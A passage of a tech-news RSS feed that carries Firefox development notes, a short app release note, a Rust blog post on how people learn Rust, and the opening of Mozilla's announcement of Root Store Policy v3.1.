<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed an issue in Netmonitor search where it could appear the the search stalled (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042405">#2042405</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036404">#2036404</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1941404">allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently</a>.</li>
<li>Khalid AlHaddad updated our codebase to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1972065">use constants instead of hardcoded strings</a> for all our session data types.</li>
<li>Alexandra Borovova updated <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015655">the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers</a>.</li>
<li>Alexandra Borovova fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042385">a regression when there would be no “script.realmCreated” events after the cross-origin navigation</a>.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Dharma updated context search actions to trigger search instead of entering search mode @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1945080">1945080</a></li>
<li>Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041255">2041255</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030183">2030183</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019168">2019168</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044849">2044849</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033583">2033583</a></li>
<li>Moritz has worked on several refactorings to allow the urlbar to be used in content @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039828">2039828</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039298">2039298</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041280">2041280</a></li>
<li>Middle click paste replaces content was fixed by Moritz @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042893">2042893</a></li>
<li>Michel added feature to show registrable domain on desktop after its implementation on mobile @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986161">1986161</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v8.16.0]]></title>
<description><![CDATA[We fixed a bug in the sticker creator that displayed the interface in the wrong language. Even though stickers are pictures (and therefore worth a thousand words) it's still important to get the words right too.]]></description>
<link>https://tsecurity.de/de/3693290/tools/v8160/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693290/tools/v8160/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:25 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>We fixed a bug in the sticker creator that displayed the interface in the wrong language. Even though stickers are pictures (and therefore worth a thousand words) it's still important to get the words right too.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Security Blog: Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1]]></title>
<description><![CDATA[Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of Mozilla Root Store Policy (MRSP) version 3.1, effective July 1, 2026.
While previous policy updates focused heavily on certificate revocation, automation, and operat...]]></description>
<link>https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:23 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of <a href="https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/policy/">Mozilla Root Store Policy</a> (MRSP) version 3.1, effective July 1, 2026.</p>
<p>While previous policy updates focused heavily on certificate revocation, automation, and operational resilience, MRSP v3.1 focuses on a different challenge: ensuring that Certification Authority (CA) operations are sufficiently transparent, understandable, and auditable.</p>
<p>Trust in the Web PKI depends not only on technical requirements, but also on the ability of Mozilla, auditors, and the broader community to understand how CA systems are designed, operated, and assessed. MRSP v3.1 introduces new requirements intended to improve the quality of CA documentation and strengthen independent assurance of the design and effectiveness of controls that protect CA systems.</p>
<h3><b>Improving CP/CPS Documentation</b></h3>
<p>Certification Practice Statements (CPSes) and combined Certificate Policy / Certification Practice Statement documents (CP/CPSes) are among the most important public documents published by a CA. They describe how a CA conducts its operations and meets industry requirements.</p>
<p>Over the years, we have seen significant variation in the quality, structure, and level of detail provided in CP/CPS documentation. Some documents provide extensive implementation detail, while others rely heavily on incorporation by reference or provide only high-level descriptions of CA practices.</p>
<p>The revised policy will continue to require conformance with RFC 3647, as modified by applicable CA/Browser Forum requirements. Improvements to section 3.3 in the MRSP will establish clearer expectations regarding the content and quality of CP/CPS documentation. The new requirements emphasize that documentation must be explicit, bounded, auditable, and sufficiently detailed to describe the CA operator’s certificate issuance and management activities, while also establishing requirements for version control, accessibility, and ongoing maintenance. The objective is to ensure that a technically competent reviewer will be better-able to determine what commitments the CA has made, how those commitments are implemented, and whether the documented practices support technical, operational, and performance oversight.</p>
<p>Mozilla believes that these new CP/CPS requirements will improve transparency, reduce misunderstandings, support more effective audits, and help reduce the risk of certificate misissuance by ensuring that operational practices are documented accurately, consistently, and in sufficient detail to permit meaningful review.</p>
<h3><b>Introducing Detailed Controls Reports</b></h3>
<p>A second major enhancement in MRSP v3.1 is the introduction of Detailed Controls Reports (DCRs). Traditional WebTrust and ETSI audit reports provide valuable independent assurance regarding compliance with established criteria. However, they generally provide only limited visibility into the specific controls, testing procedures, and operational environments that support those conclusions.</p>
<p>Beginning with audit periods starting on or after July 1, 2027, CA operators with root certificates enabled for TLS website authentication will be required to obtain a DCR. The purpose of the DCR is to provide CA management, auditors, and Mozilla with greater visibility into the controls, testing, and operating effectiveness of CA systems that support compliance with the CA/Browser Forum’s TLS Baseline Requirements and Network and Certificate System Security Requirements. Mozilla generally expects to review DCRs only on an as-needed basis, such as during compliance reviews, incident investigations, root inclusion evaluations, or other oversight activities.</p>
<p>A DCR must include:</p>
<ul>
<li>The scope and boundaries of the audited CA systems;</li>
<li>Applicable audit criteria;</li>
<li>Controls implemented by the CA;</li>
<li>The auditor’s testing procedures;</li>
<li>Results of control testing; and</li>
<li>Information regarding control exceptions or deficiencies.</li>
</ul>
<p>Mozilla expects that DCRs will complement existing audit reports and strengthen transparency and assurance by providing additional detail regarding system boundaries, control implementation, testing procedures, and control effectiveness that is not typically available in traditional audit reports. Effective compliance requires more than documented policies and successful audits; it also requires management understanding, oversight, and engagement. By providing greater visibility into CA systems, controls, testing activities, and operational risks, DCRs can help reinforce a strong tone at the top regarding compliance expectations, support informed decision-making and resource allocation, enable earlier identification of weaknesses, and promote a culture of continuous improvement. The intent is not to replace existing audit reports, but to provide additional information that supports effective governance, oversight, and informed trust decisions.</p>
<h3><b>Additional Clarifications and Improvements</b></h3>
<p>MRSP v3.1 also includes several targeted clarifications and refinements:</p>
<ul>
<li>aligns Mozilla’s mass revocation planning requirements with the corresponding CA/Browser Forum Baseline Requirements, helping ensure consistency across compliance frameworks;</li>
<li>clarifies audit expectations for root inclusion requests, including requirements relating to audit continuity and root key generation ceremonies;</li>
<li>requires root CA key pairs submitted for inclusion to have been generated within the previous five years, helping ensure that newly included roots are based on contemporary cryptographic practices and controls; and</li>
<li>clarifies expectations when ownership or operational control of a CA changes, helping ensure that Mozilla receives timely notice and can evaluate the impact of acquisitions or organizational changes on continued compliance.</li>
</ul>
<h3><b>Looking Forward</b></h3>
